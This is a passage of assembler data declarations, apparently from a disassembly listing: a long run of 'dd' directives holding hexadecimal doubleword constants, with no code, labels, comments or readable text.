0EC20910Eh, 0DA6EC28Bh, 93D67A18h dd 0A4907Eh, 0DF9686D8h, 1BEEB24Ch, 3B2E3A02h, 485F540Fh dd 2446353Ah, 0CB232BBh, 67FA77D3h, 0CB252E72h, 8384F479h dd 94073326h, 32F7A598h, 137274B0h, 7E7C526h, 4D46900h dd 26028B97h, 3CE030F7h, 0E2F192A8h, 0F104C662h, 93061F2Dh dd 3091586h, 0E877000Eh, 0D9A7C1Dh, 0F525E0A9h, 40F1DCC1h dd 8CC52926h, 0CF86561Eh, 7774E489h, 82D285A0h, 0E992A509h dd 5513BF00h, 0E538CA59h, 0A80A135Ch, 3A0658BDh, 0A7FA71E1h dd 5FF5D800h, 3378B5Ah, 5E221E45h, 0E0708004h, 0D282C76Bh dd 2E719B7Eh, 0B5922EDh, 93A7B3F5h, 8BBAA4A8h, 8951E0BDh dd 0C1811BE1h, 0E9B26304h, 0C870680h, 893A5C24h, 0A553A1Ch dd 10C581E5h, 0C6ED830Eh, 74272C87h, 66681B34h, 37141E42h dd 0F4BF57h, 0A0BE5AFBh, 645CDBh, 374EC681h, 0FE295188h dd 8A0EEF0h, 5C33685Fh, 89244539h, 91D30483h, 0F7E5575Bh dd 3F087BECh, 81943C8Bh, 0C37948C4h, 0E3895372h, 54AEC3E2h dd 0FF817FD0h, 3ADE5E03h, 0D0AAE90Fh, 6E6260FBh, 210B152h dd 0B83075A3h, 465DAD4Fh, 0EE8800CCh, 0DE0F1DBCh, 0A41F15EDh dd 0A8C13FA2h, 9914020Dh, 65D0E4D5h, 7F220001h, 3FB180C8h dd 9100ED7Ch, 0B2CFE219h, 70EF03h, 0AE081449h, 0EDBC40A9h dd 8A56D400h, 0D1102F67h, 529D0246h, 350C414Dh, 4E300CE0h dd 41CE48h, 6003E027h, 1EF3675h, 263D048Fh, 0DC5F5850h dd 650022D3h, 0BE6FF993h, 7D8AF6h, 78DF7FCCh, 7B26C4D9h dd 0CE6E4A00h, 0AB62B548h, 82BA0B24h, 6A513358h, 30AFF596h dd 0BFB665DFh, 14E8E7Ah, 0B0B425EFh, 864E0F00h, 6A4B2B8Ah dd 2FAF00DBh, 7BB15F29h, 3F032534h, 0BB06E1F9h, 13A2DB4Dh dd 0E961B069h, 3DDCBC91h, 97E41B2h, 0B5526A9Bh, 490B23FEh dd 49947E1Ah, 4FDCDD7Ch, 9671F822h, 0B403A9D1h, 4AE3AE4h dd 14CEB371h, 7A33FA21h, 0BB2AD860h, 278BF23Ch, 0AED46147h dd 0DDBE8D12h, 0A3FC2ECDh, 242AFA00h, 0D726056Ah, 329D9998h dd 0A2985FEFh, 5078BF78h, 97AB2D1Ch, 803E01FFh, 6A5B60D7h dd 0C038DB7Ah, 28F70DF0h, 34D428C0h, 919D2FCFh, 16F43154h dd 0A7254BCEh, 0EBDA5AA3h, 0F7D86081h, 0ABC7F40Dh, 0BD23A10Eh dd 0A3A776F5h, 8E811h, 2FB799EAh, 5EEDCF01h, 1297C002h dd 0FF275BFDh, 270CC1D1h, 27C28E3Ah, 0D8CC7B76h, 45003F31h dd 9BCB0501h, 4A6ADE8Bh, 93889B02h, 91B920FBh, 0FA498A50h dd 0FBE65ECEh, 0F43015B2h, 9D010C03h, 0E9461EB9h, 0ACA3BC4Eh dd 0EBB07385h, 32005C7Ah, 95894E0Fh, 1C126ABFh, 6EEA401Fh dd 0B2790480h, 0C54111E9h, 0D0085EE2h, 5200CBD6h, 0CA55E1ECh dd 2F97E517h, 2153EDB7h, 0DF181859h, 78487A02h, 0DF01B328h dd 12061884h, 0F40FE2B6h, 0C4AEE464h, 1BCDD220h, 0A000E7CFh dd 40C3C1E1h, 0A4830FD7h, 5584CABh, 2D088528h, 6751615Bh dd 8235FB2Dh, 3E32E781h, 18CCA4D4h, 985A27C7h, 0DEA7F453h dd 7103D484h, 9A84C5C6h, 1189853h, 0AE894F62h, 0AEF77953h dd 116B3A1h, 0BF112839h, 9D626ADFh, 29602342h, 0ECD0C9DAh dd 0A5A9D9FFh, 0BFD97EC0h, 2AE9B588h, 8770E609h, 0B859EFh dd 4ABB71E4h, 6AE79378h, 5B15A24Dh, 0A3EDF644h, 0C2A5C74Fh dd 0D77E298Dh, 5D307942h, 70A56371h, 0BCC14A58h, 62AEC043h dd 58B7FC2Ah, 910088B8h, 1678B684h, 527A40Ah, 1DCF52B0h dd 85BFE2F7h, 0A8332056h, 50B25E85h, 1D12F76h, 0C0E98C10h dd 0BB12EBA4h, 3BA80339h, 0C9308B80h, 2D1E774Fh, 851494F0h dd 0EF800B0Eh, 8191508Ah, 0C7B5559Eh, 3C14E112h, 21C9C4AAh dd 527EE2BAh, 0C3A85A02h, 262F4118h, 618024D5h, 25755BE9h dd 9D48E829h, 0CF972596h, 8603FFB6h, 6CDC0094h, 0DA817EF9h dd 0B00D605h, 0C74B524h, 3FC6F35Ah, 0EB0461E7h, 0BA01487Ch dd 0F44B1D87h, 1D9DC3ABh dd 14BD654Dh, 35A583h, 7EDF81FEh, 950B9542h, 0E680FBF9h dd 0CE30FADEh, 4CF6021Bh, 692EC3C7h, 0B228C45Eh, 0BAC9553h dd 5114B59Dh, 1F3741CCh, 8C9B3F61h, 0E91BF7C0h, 0E71EBF25h dd 0BB010890h, 486CB644h, 8B605289h, 623A8871h, 750C1588h dd 0BD33FB38h, 0B919E961h, 0A62B10F5h, 372100C9h, 7CC040F6h dd 2970003Ah, 1B891C8Ah, 54AAB0Bh, 1DF261AAh, 0C4FF051Ah dd 0B122BE77h, 7ED97F11h, 7EF73307h, 0AC30FC25h, 123A36h dd 0D770E89Dh, 0AAEDA701h, 0B0122C5Fh, 5FA67ABBh, 40B7CDE8h dd 26D19D31h, 0D22BAFC4h, 0E7B8B8F9h, 8030CC12h, 9B1DAA04h dd 79256DEBh, 0B62BA9BBh, 0E75C148Ch, 38912B3h, 0C1CE9BFFh dd 0CBECDC4Dh, 90F527C0h, 99529F57h, 0CC94D1A0h, 0F9D411B5h dd 4A770B8h, 165C0F59h, 0A3FC7408h, 13314DB2h, 0FBA80220h dd 58DA2EBDh, 0E1548889h, 0C6CE27DCh, 7EB0125Fh, 2B655190h dd 0B0B736B7h, 58EBA920h, 31D4E902h, 901F8D95h, 9DF787C5h dd 18441C6Dh, 0C4A2A060h, 8997E4E6h, 81B3F92Ah, 0FFBAD380h dd 13C934E1h, 0ED9479Dh, 0E61604CCh, 406BF2F6h, 951D7521h dd 0B8599254h, 0C1518114h, 0B08E3A19h, 13F6F22h, 4132195h dd 0FF2F7D9Dh, 14F399F3h, 754B0887h, 30516E02h, 0C0EDC92Eh dd 0B5E18064h, 0DDE12FCDh, 21604880h, 664C0A67h, 8B5A7D7h dd 0F8162C05h, 86A385A4h, 0D47C96h, 93077956h, 80B51898h dd 99C4304Fh, 80132ABEh, 7C757787h, 0B7C11699h, 5F6BAA58h dd 0C152984Eh, 6DCDE401h, 90D3C657h, 0CCC36F28h, 0CDB80717h dd 4F009AD8h, 0B893273Eh, 0F0C024h, 9EBA08A1h, 5F40B6BEh dd 0EF49169Dh, 5FA8E5EFh, 31905BC1h, 0B0F56F85h, 0DEB9B6A6h dd 0BA69B800h, 0C0335989h, 968EC29h, 0D3931F24h, 7500DAF1h dd 54F2C95Dh, 3FD1006Ch, 10A967A5h, 5904774Bh, 0B9CDF8E1h dd 0DBC201EAh, 7E2C8BE4h, 4F8F139Bh, 0BBBF4EE7h, 0EE27B954h dd 58779390h, 7E90A831h, 0E211E520h, 0F4254A95h, 0CF9585B3h dd 0F9B2C0D9h, 0CA480A14h, 0A5FF394Fh, 6012DE89h, 1D2E9FBh dd 2E33D97h, 0E96427F9h, 52845355h, 0E21819CEh, 81C2F53Ch dd 48FF2ACh, 21B589CAh, 339CBA1Bh, 96CF0581h, 0A815A8C9h dd 4B99D0D7h, 818153D4h, 9D7A2901h, 0B6E72A7Ah, 3D209D10h dd 98DFC989h, 89243D1Ch, 0A50B6E46h, 938977FBh, 84CF6FF4h dd 8B848CDCh, 688063FCh, 58CD9165h, 0A6BDEB5Bh, 0A086B696h dd 1D9BA99h, 81E215F8h, 0E1A343D3h, 68366A40h, 25F52DB0h dd 0C072065Ch, 9E5B8995h, 678B1A34h, 0D3F3276h, 0C06819B8h dd 34B241DAh, 8B1DB2B1h, 0B31A89F7h, 3CF82FCCh, 8F92601Eh dd 4BD7DCEEh, 46D1B500h, 31773376h, 0D9D800D2h, 366322CEh dd 0B81C924Eh, 5F44530Dh, 5DC96159h, 0CBB6A84h, 0CCF6BA06h dd 399209F0h, 0C80AE204h, 0FCC0F53Bh, 0B581E780h, 2479C51Ah dd 7D892E09h, 8B51AE19h, 57116584h, 0F2BF9700h, 4D4E836Ah dd 6EEAE112h, 92EC5E34h, 15530EA5h, 95572610h, 330C908h dd 8D9D035Bh, 0EF75EEBCh, 0ADD0D5AFh, 8C3EB9C3h, 0A12BFB1h dd 0B7A92C26h, 0EA166D12h, 53C79CEh, 1661CE43h, 6A169F7Bh dd 40531F3Fh, 5CB8DB5Ah, 3D35B509h, 25EFED2Fh, 99D72832h dd 4BE92A40h, 0EC8DA93Bh, 1EF6A06Ah, 0D81DB5FEh, 50D273D2h dd 0EFB660E8h, 5B9271DCh, 61C0B1D4h, 0D4283FA3h, 3E044132h dd 4A3C2020h, 643E003Ah, 2482AC96h, 0FF048542h, 8B60033Fh dd 0B995E4ABh, 43E5101Dh, 0D5B261D6h, 0E73304CEh, 1E80A1EFh dd 10C21C21h, 44F059Dh, 0F63F2A9Dh, 901BB229h, 17835h dd 0A995CEC2h, 0BD894436h, 0A2279125h, 0D49E7627h, 0DD6E693Dh dd 0F99FB0B0h, 0E4DE6938h, 29C09FD4h, 58C4076Dh, 960C282Dh dd 523BB486h, 0FF1A6950h, 0CF5F8A29h, 0A75E24Dh, 0DF69D3D4h dd 6048B864h, 0E91279AFh, 98AA61F5h, 1AB5FBFFh, 299669Fh dd 5AFE47Bh, 8BD446A9h, 85377D49h, 2B1A5FA7h, 914E1057h dd 0B8844B04h, 95FE0111h, 2DEC9E19h, 7CCB9FDFh, 0B84F4014h dd 3E038620h, 455FDD98h, 0C2AE9CFCh, 0CB71FA53h, 0F250BB83h dd 0A9A8C503h, 808B9B5Fh, 7804201h, 3A3F2820h, 0D08B28A1h dd 2A312095h, 0BC87615Ah, 89DAABEFh, 0FB0989E0h, 0D60FA6BDh dd 1570760Fh, 0D0EAABAAh, 0B8862FB7h, 0FCD6521Ah, 78165B27h dd 0F8733DB9h, 2DBF5902h, 0DC66CDE7h, 0F6F9E5BDh, 3019B27Bh dd 0E53EFA75h, 506101DCh, 297C9BBh, 73BDEAC6h, 0F5A7063h dd 8BFB8A48h, 4A866460h, 0B0D4FD59h, 2DD59418h, 0E8FB6160h dd 0A0181871h, 0D4294200h, 218D316Fh, 0AC519416h, 0DBFAC916h dd 16FBD8B5h, 0A25F2C6Ch, 852188DBh, 5FD98B50h, 0E985848Eh dd 0E7A6FE02h, 47A8F200h, 0A0C26B21h, 0A1DDB218h, 5E5AEC5Ch dd 0B27EF661h, 4B7E3019h, 18E8750Bh, 640CF625h, 1607F233h dd 0C4AA9589h, 7FCAAFC9h, 0E65CB1A0h, 0F8C01517h, 852642E1h dd 0DA301BE2h, 9F37EEBh, 7A3BB7F5h, 91543575h, 65F9801Dh dd 4EB1968h, 5C0A3EE8h, 0D809D291h, 0AC402CD6h, 37AAC6h dd 0B4655D39h, 22040714h, 0C7C0B101h, 49953161h, 8D1CF5E2h dd 74A8424Bh, 0B865B9A5h, 0BF6750B6h, 25851389h, 0C5E8D123h dd 48C60206h, 0F4D78138h, 6CBD2DC7h, 2EFFEAD0h, 318F79A6h dd 5D205549h, 0FFF2A8E9h, 785BF39Dh, 0CD259657h, 316497h dd 0A9189CEAh, 0E79B5FF3h, 0C7FBBC00h, 2209D788h, 8B2012C4h dd 8F44DBC1h, 118FA052h, 12EC5B05h, 0F312E538h, 0BD2306D4h dd 4B0C07A5h, 0D0C5F190h, 15698D29h, 1964F717h, 1ABB85ECh dd 0E857D25h, 6C6FAF6Ah, 1474E16h, 0AB960C3h, 8156D049h dd 0FA1ED80Fh, 6A6105FCh, 0F0BDADEDh, 730CF2EEh, 0F6DABF0Fh dd 61C12E2Ah, 379F8988h, 0C91E802h, 8040DD5Eh, 3A50DBE7h dd 521287BFh, 5179AD71h, 0B1912E4Eh, 9BA7DFB4h, 788310FDh dd 0C990002Eh, 7FB769EFh, 0E0149A0h, 0B6713B04h, 9A43CD23h dd 5F7134F1h, 0D4A2BF40h, 81952904h, 975EB05h, 18B71530h dd 0F3AA00FAh, 1E8A6316h, 0DD02C589h, 6728C46Ah, 69535E72h dd 69F26C55h, 61F65D79h, 0D12E2E11h, 5505DEF3h, 1915695Dh dd 77D9A71Dh, 811504CCh, 2F8997BAh, 84E37A29h, 80579EBFh dd 0B58F680Bh, 0B30F096Dh, 5A0B158Ch, 219D66B0h, 3EAA1F4Ah dd 80A75DCBh, 0B87B8586h, 6FBD01FCh, 71B589ACh, 0C1900210h dd 54D2DA58h, 5897DC19h, 62509DFAh, 74080922h, 0E82A4B85h dd 0DA9AB4B5h, 0F80788C0h, 0C5001083h, 0D91AF36Eh, 9E2D8BFh dd 0A6E9143Bh, 34715CD6h, 8B149022h, 2B17ECFEh, 8A43AD47h dd 90121A86h, 0D700DEA2h, 936610CEh, 7E0298C9h, 2F0F9912h dd 914650h, 450C55DBh, 0DCB5FCF0h, 0D6E4F400h, 54A4914h dd 7E1105C6h, 0AE5BF98Bh, 0B0E14FA6h, 406266Fh, 2AB59D31h dd 58F85BF4h, 0C4DE789h, 0E781854Bh, 80B0E0B0h, 238232A5h dd 9F5EFB60h, 0A261DB51h, 0BA9F342Eh, 0C4FCB20h, 0A1810027h dd 839791EFh, 0CF243061h, 0D0908A2h, 0FF159110h, 26B88A6Dh dd 8F1F6F0Bh, 9DE8D057h, 8539EDE1h, 55BD335Bh, 68BF8752h dd 240B5B8h, 0ECFB9AB0h, 8F90971Fh, 7107E4DAh, 342FDF81h dd 8CBD3D04h, 0EF8BF134h, 791A1D09h, 58C208Ch, 0BA13CECBh dd 0EF963006h, 77B055E3h, 0F6D68C4h, 0BB77E412h, 5A07792Fh dd 0DFBF0945h, 5BFEC82Bh, 3F01FF40h, 1F7215h, 80CF7E7Fh dd 6FBB064Ah, 41BFB8F8h dd 0CC2BD1ABh, 0E83F1C8Fh, 0AF9A0039h, 0F92AE11Bh, 33D806DCh dd 96629391h, 6176D8EFh, 8BD0E94Ah, 6D9AE380h, 3E13D88Bh dd 5F02B482h, 78755F32h, 0BEA72D6Eh, 0E300715Ch, 0E1862D45h dd 0A9780BAFh, 62D6FA93h, 0C456DA44h, 7F13E136h, 0CB50A4F6h dd 0E9DD1AF7h, 99601341h, 880930CFh, 795F6783h, 0F956B298h dd 985494F5h, 33D92008h, 737B3297h, 75BD0457h, 0C321A07h dd 97DE5677h, 302C68B0h, 58599384h, 2A038D0Ah, 4B8516FDh dd 576ABACAh, 0BD9D66B0h, 75EE2B9Fh, 4A8B4337h, 40F876C5h dd 7E7AED37h, 0B96C9C00h, 2F11D9E5h, 0A832013Bh, 91FB8687h dd 9EB8400Bh, 0E7925F3Ah, 6DBDF871h, 601C649Ch, 95CA6649h dd 0F248CC54h, 85B00315h, 0FB493CB9h, 1DA077FCh, 0F2E4EBBh dd 0E0617E25h, 0E99D01B1h, 9D77C32Ch, 19C11E6Dh, 0EC6B4E5Ch dd 39ED8058h, 754B1FCBh, 0C61C0944h, 0F7FBC02Bh, 5C61F70h dd 8257496Bh, 2097A8EDh, 0DB801315h, 5B53AD3Eh, 0FDBC47B9h dd 5D714A2Dh, 9F40C712h, 0C7932FA1h, 9F761A83h, 158C09Dh dd 0EA1B00A2h, 0B531B021h, 0CF12EFFFh, 0E0F3C06Bh, 70BB60C3h dd 804106C8h, 611DEF12h, 0BAB87EADh, 2C8E3A24h, 7ABCF209h dd 0DEB79EB6h, 7EE66704h, 0ED169150h, 9AA265C7h, 0D246DAEAh dd 4D928D8h, 3E9B78E1h, 0C196C4DBh, 3A100908h, 7C8995DDh dd 0E7D50AE5h, 0ABCD492Ch, 0FA2F2A40h, 0BFBF7CF7h, 0BD10EBFBh dd 0A0E2C893h, 56D3B04h, 0A3FFF5EFh, 0CABB0997h, 45E77980h dd 1A11425Ch, 3F55B894h, 0C1C0004Dh, 8F3497ACh, 462EADB8h dd 53AF4406h, 0D666A4E1h, 0FFD9770Ah, 0A509BDE1h, 0C6DE7928h dd 0F3BFF663h, 7A3178CEh, 0C073AA0Bh, 0C9CF0069h, 97562AF1h dd 4A69E394h, 0DE5D5668h, 0EC4E8800h, 0BC0D1FBDh, 0F89A27D9h dd 0E21D0245h, 129B5B38h, 0D8D54CC2h, 0BF00F47Ch, 1D30CAD4h dd 0ECE49D60h, 0A10358h, 0C74355E0h, 9FFB1280h, 0FD5218FCh dd 3F516411h, 0FFA42DB8h, 0F1FEA6C4h, 34D007DCh, 8427E831h dd 0FCA9890Fh, 0B5015705h, 34D4E171h, 1D27E332h, 0DC0E4B8Ah dd 0AD9C0452h, 0A06FBF24h, 1D001B23h, 27742650h, 0FCED2539h dd 9282EDE6h, 3FCE257h, 901B3453h, 4E75E063h, 8900EEFFh dd 4E84C381h, 0A9695A99h, 0DC8E8E5h, 870FD4DFh, 507730E9h dd 48D38000h, 2853685Fh, 60360BDEh, 4D795E56h, 49E52900h dd 9271A19h, 0B442ED0Fh, 2FE504D0h, 2BAC8AC0h, 0BB3602C1h dd 3BB6737Dh, 9191B5DFh, 0C4ED8B14h, 62D900CBh, 0E5CA335Bh dd 819522ECh, 65EFCF63h, 4BB7A23Eh, 3E96FBEh, 0DD32CEE9h dd 0A1CFAA21h, 41B5098Fh, 6235CA3Ah, 7D11DD6Eh, 19E4824Dh dd 4CA0E167h, 89CD21C9h, 0F520F95Ah, 7E5B813Ah, 9406C70h dd 880FE426h, 0C4B0CCBh, 89A0E4ACh, 9C099471h, 791BB482h dd 9D0B829Bh, 955E1AA9h, 0BD9509B9h, 0A68D1404h, 113AED4h dd 82379D5Bh, 2F3D010Dh, 3352A807h, 51C177B9h, 0D11E505Bh dd 0BA009782h, 0F5BB4937h, 9C7D6A9h, 96CD1F7Dh, 0FE6B76F6h dd 72E96B60h, 0FC9D5275h, 3167905Eh, 1E2A91D2h, 50DE8A12h dd 2E2489ABh, 0BF519247h, 752CBED0h, 0FDC2F75Bh, 0FB5D5192h dd 0A810016Bh, 3EEA3775h, 0FB224EE3h, 7B58389Bh, 0BC895EE2h dd 88BA92D0h, 0DC4B8A54h, 0D4CA6CCDh, 0DBA840FCh, 0CF004256h dd 8A3E68A4h, 2450FD6Bh, 9676158h, 0ABEB14ADh, 5B98B7D8h dd 0B76E2BEDh, 31822202h, 154A1D95h, 911A3577h, 50E18415h dd 680117E3h, 0DFB1FB66h, 0A57A3C87h, 0E1C009DBh, 5DBBD739h dd 1C498712h, 260F3DEBh, 6E6BB1F4h, 3A948D3Fh, 0E9F418ACh dd 1265B895h, 1BAE986h, 0BE6F1F08h, 6F28E196h, 14F82DCh dd 1C7B9926h, 2F5F9288h, 0BBE5753Ah, 0C0C18934h, 2303210Dh dd 0ECE5B3h, 0C68160F5h, 0D029392Ah, 6AC01748h, 8FAF0E62h dd 1EC01200h, 86EC89E7h, 0B81F0942h, 65796110h, 0C043C445h dd 0F2EA8A60h, 20D99661h, 7ABE03B2h, 1A46D6h, 0E4B3E738h dd 98088E67h, 11D52758h, 89F1B055h, 26C9278Dh, 5EA5185Bh dd 0F3C612F1h, 0D88B1319h, 468C5E09h, 0E39F25B7h, 66D9EF42h dd 0FB007F2Dh, 36856307h, 2097C807h, 9FC1A6EFh, 9A2FC6DCh dd 0C01DC882h, 0DEC54061h, 0FDB59F01h, 50C66AC7h, 2473083Bh dd 0EFA95F13h, 1F8C1DACh, 728E31h, 2ABD19B2h, 0BF05324Dh dd 17862393h, 9FC1AB0Ah, 8C7E5359h, 4E9D5B1Fh, 58AE9BE3h dd 19276CFCh, 0BE353E7h, 0DC73FBB7h, 82181A59h, 5D1B562Dh dd 0C9BB9F00h, 305ECE11h, 0C1C29C92h, 2BF5BF30h, 0BDC9903Ah dd 25852645h, 2DA8C2D9h, 53297127h, 0FC8A8BA5h, 0E04ACD75h dd 0BF76FA4Ch, 4F794E04h, 35EA60A7h, 2B84A1B0h, 1CE81964h dd 738D9D80h, 0C37ED42Dh, 1046371h, 85200DBBh, 0A6386581h dd 3FA8897Ah, 0AE96299Eh, 2778C489h, 0DB7A9055h, 0C62C8B3Dh dd 0AFEDB7CCh, 35604F68h, 28023BDFh, 4BF10A1Bh, 7B9320D8h dd 2800DB2Ah, 4E1176C4h, 1CD433Bh, 640AD6E2h, 0CDFAE0A2h dd 7AD371A6h, 64BF3494h, 0E2C012E5h, 0AB5F8806h, 0A4B59210h dd 664D9655h, 0C02B4C2Fh, 1BCF9F18h, 267529C1h, 810280E3h dd 897B9476h, 55183800h, 5BE0C92Bh, 1DBB7739h, 0C9544E2Fh dd 0B755965Fh, 9B8C0044h, 0B8F37412h, 6124EB6h, 0F3192CEBh dd 54B2102Fh, 200552Dh, 55478CA5h, 2FAE1250h, 0D64706F5h dd 0D397721Eh, 778EF088h, 29322213h, 0BB8200ADh, 0E440113Bh dd 1C971415h, 0B75E4ADDh, 1F5CB061h, 0E0C612D2h, 1C04AEBEh dd 75EB2395h, 41030929h, 9C61E27h, 6978FED3h, 0FD314F4h dd 925AD939h, 0F95CF8C8h, 19FE045Bh, 0EB3EE98Fh, 352F1E29h dd 0DE57E004h, 0B4E94EBDh, 9900D464h, 322EAA17h, 6772AEFDh dd 48B9A804h, 3E4E5927h, 0DA8A2405h, 126FAE6Ah, 6DC96E06h dd 652060DBh, 64B7B62Fh, 0F188AF33h, 0D6B7956Ah, 0DE83082h dd 0C1ACE2DFh, 206B429Eh, 77EB7E78h, 0BAE7F902h, 60FC7467h dd 97918DEBh, 1F85BA54h, 0DBFB61D1h, 0DCB8D3A3h, 13FF5726h dd 616FF4B5h, 0C2F55F25h, 700953F6h, 0C1B54373h, 13219064h dd 856E5DEDh, 3FDFB37Ah, 62DFF2F9h, 0BE028848h, 3755DF25h dd 885680ACh, 0AEDC071Ch, 4C41D5BCh, 46E0DA5Dh, 4B2CE8DEh dd 0AF31AAF7h, 7DF20ABBh, 0B852D473h, 0B58DAD4Fh, 2967717Ch dd 0E2FD6194h, 25E0D128h, 0D9F41021h, 3A5081C0h, 1279F4ECh dd 0F274D480h, 16A88E0Ah, 7AE979BDh, 0C82BDBE5h, 4D07FE75h dd 5E1664BEh, 473971A0h, 0F26800B8h, 0FFD0A33Dh, 0B513A850h dd 0CEDB026Ah, 0A8DBAA80h, 3BB1BA16h, 80222D80h, 4CAC7527h dd 0B71D26Bh, 0F04414C3h, 121975A4h, 0BD2B30FFh, 0D39F063Dh dd 387D7AB0h, 1F7000h, 18AE4386h, 0CEE973FBh, 49F51C97h dd 7F4DAE29h, 0DFB86EBDh, 6007AE03h, 39C0CB81h, 49D6B9Bh dd 61092A93h, 0FBEB8D5Eh, 0FD7F5080h, 3079D903h, 920B3F37h dd 0F207FF90h, 774631BBh, 0E9F6E666h, 9F609FDCh, 0FF029689h dd 0B7E2CBC6h, 0C00B5EB8h, 96C7B9BBh, 30B7245Eh, 0F17F0E22h dd 20BF739h, 3A598EE6h, 0B42C40ABh, 16BF909Bh, 0EB5F7EE0h dd 0C1B57F60h, 0BB078411h, 798D8E66h, 20CDA56Fh, 0A2ABE7ABh dd 0DD4FC0B3h, 0EB149732h, 54684C45h, 0B0533009h, 1F0CC4F7h dd 5B692Bh, 5F254979h, 6609539Dh, 70B026BFh, 0B1BD2DF7h dd 0E4F83FA0h, 20A85371h, 0CD00C5F9h, 0E2EB4B44h, 4BB42ED4h dd 0D08D35Bh, 89537F05h dd 0C8FFA59Dh, 0C84BB650h, 1301DCCCh, 0EB04F59Dh, 8D3F998h dd 789B508Bh, 7829B709h, 0F99ABD0Eh, 8007105Ch, 0C73005CFh dd 0A6C82BF3h, 8C8A03D8h, 68BEE922h, 67EA69E0h, 55512403h dd 0D2DB803Ah, 8061DD5Bh, 1330ED85h, 1F3F7DAFh, 895FBBDAh dd 935E5E82h, 41D9D46Ch, 0E90F2B03h, 24A52431h, 0DE7B7AA2h dd 571C942h, 5391EE71h, 0A28F204Bh, 35008FE8h, 9F02D71Bh dd 2FD5349h, 8962C745h, 6C567F11h, 3E119647h, 0D7F15128h dd 0E166E83Ah, 31AE4DE9h, 272040E6h, 6F00C1D5h, 78F1C340h dd 6360Bh, 0EE4E1AB6h, 7224AD4h, 0F5BD8908h, 0F35B1208h dd 4B495830h, 891C2F88h, 2A602FF8h, 959CD780h, 29088CE6h dd 58337985h, 5824168h, 24FAD594h, 0F109FE9Dh, 0E0615E02h dd 0EF8456BBh, 2AB9760Bh, 40964F10h, 9ECFDC36h, 6C264A60h dd 5BBD0353h, 5F200BEDh, 72993018h, 0C36ED500h, 0C11ED247h dd 0B1C200E2h, 0A7E4F3E0h, 0B3251D96h, 8ED1C21Ah, 0CBB601Ah dd 0B72A7432h, 0FC9782E6h, 628FA01Fh, 0D22B6DB1h, 25DC63D6h dd 9750DA0h, 0F63F0205h, 7A695CB4h, 0A9BCA850h, 0B0FBB741h dd 43C43FE9h, 0CFA64931h, 23058318h, 341276BFh, 5BE22652h dd 7C550A49h, 0B5D6F66Bh, 0A18095B9h, 1CD9E698h, 7B676625h dd 72E78514h, 149B4998h, 80783671h, 282BFDEFh, 78D2A9F7h dd 80C29BFFh, 8FB6F5A6h, 233E2D33h, 49096F5Eh, 0F7377503h dd 0D1851411h, 0D5188409h, 94DAFF05h, 2F8CB693h, 94F5C3B3h dd 818AD7B8h, 9BFEAFA1h, 9B77CDEh, 70B0AADFh, 25097B76h dd 0C3447121h, 0EE84041Ah, 17E0D7F6h, 1506614Eh, 76EDBBA1h dd 0CC525CCh, 0FFC22979h, 0ECFD0903h, 32AD252Fh, 0B0C62F79h dd 80560233h, 605B41DFh, 4DC8FDEh, 3DB8A28Ch, 46FFACA1h dd 0FF29F1D8h, 2B078D2Eh, 0DC6E1C17h, 64004358h, 6CC4EE3Eh dd 5626A221h, 5AC96C8Bh, 14F2D35h, 9A40CD4Fh, 1635D57h dd 6D5F351Bh, 2D890FE1h, 0A6B31E7Dh, 69A28D12h, 0FCD4225Fh dd 0DB2CBA57h, 5F575065h, 1525DF05h, 2AC4A0Dh, 904A0C20h dd 12B62DB0h, 0BC310FABh, 0CECF8538h, 150081E6h, 0A6B020B2h dd 2F099E1Ah, 71585A5Eh, 40933B84h, 0DBD0AEC4h, 9F565061h dd 0BEEFE890h, 0B8001670h, 43FCF60Bh, 0E3EE39Ch, 5FDF8B53h dd 759C902Ch, 0CF462F4Bh, 0B0F41432h, 5A0601B4h, 19A6C568h dd 2BCF3141h, 0A53A6507h, 0EFB633EFh, 978856E3h, 4CBD8A2Eh dd 576C8AA3h, 0D3015A6Ch, 6238C781h, 0B6213C72h, 0E0E2B73Ah dd 0C2A459h, 1DEB0C53h, 13E9E7B6h, 59D81789h, 0C30200D3h dd 363D97BBh, 8A177CB0h, 0FE04A491h, 89BA9F42h, 5BF13AF1h dd 0AAA4122Ah, 1F0BFE6Fh, 0D8857A80h, 8DB4BBF1h, 9D294BC1h dd 0CD00609Fh, 7E8B174Bh, 92C69A5Bh, 0C5D5CEA2h, 4D24232Fh dd 0D675B8DFh, 0AC0015A3h, 0A270ED65h, 0E9047BB4h, 3C2D0B45h dd 858168FCh, 0EC1C8ED3h, 9E00C8F7h, 5899C50Dh, 2556317h dd 0F3911344h, 617D5F53h, 32760657h, 4E6C3BF0h, 0DAC1283Fh dd 54FAE581h, 0F17E926h, 5AD0A9BFh, 2012C8h, 0AE37696Fh dd 0E092C664h, 1F1D8A07h, 81225096h, 0A2EE0EFh, 64549D08h dd 68E5E760h, 25820236h, 0B2BBF63h, 8EA7F542h, 0C93A47C9h dd 43B64FDh, 750A08BFh, 0D04BB806h, 3495EF3h, 710A8990h dd 0B6440037h, 110BF38h, 0E142A4Ch, 325B5051h, 50793FBCh dd 1E601687h, 894B46B9h, 4D55612Bh, 3E53C318h, 7A578B9Ah dd 22565CB8h, 5BC0D53Ah, 59A97397h, 0E45181Ch, 0C5A4CA70h dd 6C75E762h, 69D8282h, 21BD0101h, 0F57E923Bh, 0DF5A3B5Ch dd 42544C42h, 0B7314452h, 3D708C4Eh, 6893FCB5h, 4A1511CCh dd 0C9B9FB8Eh, 0E59B2BDAh, 2DBBFB80h, 3BE369D3h, 3D9A8F02h dd 50F4561Bh, 5B9704D1h, 0CBC4D06Ah, 4D2CB800h, 0F44FE14h dd 653FB68Bh, 98D92CFAh, 0D804DBB7h, 82488CEAh, 0CC7CC098h dd 259408B7h, 0D56DFAC5h, 49601664h, 0B726B250h, 0F4677A97h dd 43E65DABh, 2DC6F4B7h, 0CF7098D5h, 0FA2E12F5h, 8029EA27h dd 0B7B0E166h, 9212C0F6h, 5D13296Ah, 4EB52CA4h, 667AAF58h dd 1D13EF5Ah, 0CF95F404h, 2B15C581h, 3ABA9D2Bh, 0B1FDCC2h dd 0B801BD7Eh, 5CA8F704h, 0B771C12Fh, 514DF6CDh, 0E3BF29E4h dd 0F9FB2D27h, 61E4540Dh, 840C363Dh, 0AA85FF6Bh, 0A55DB6FAh dd 5A8090ADh, 8C75077Bh, 2243775h, 9A2D62DBh, 77C929A4h dd 0C280EE3Dh, 0FEF3F26Eh, 0BF12E2A9h, 12089204h, 0E24EC7B3h dd 28EA5A87h, 0F60FDA93h, 0F6E6126Dh, 0DBB71402h, 0A632F55Fh dd 6E236261h, 17B285A6h, 7A0B934Ch, 49727F2h, 68B8E114h 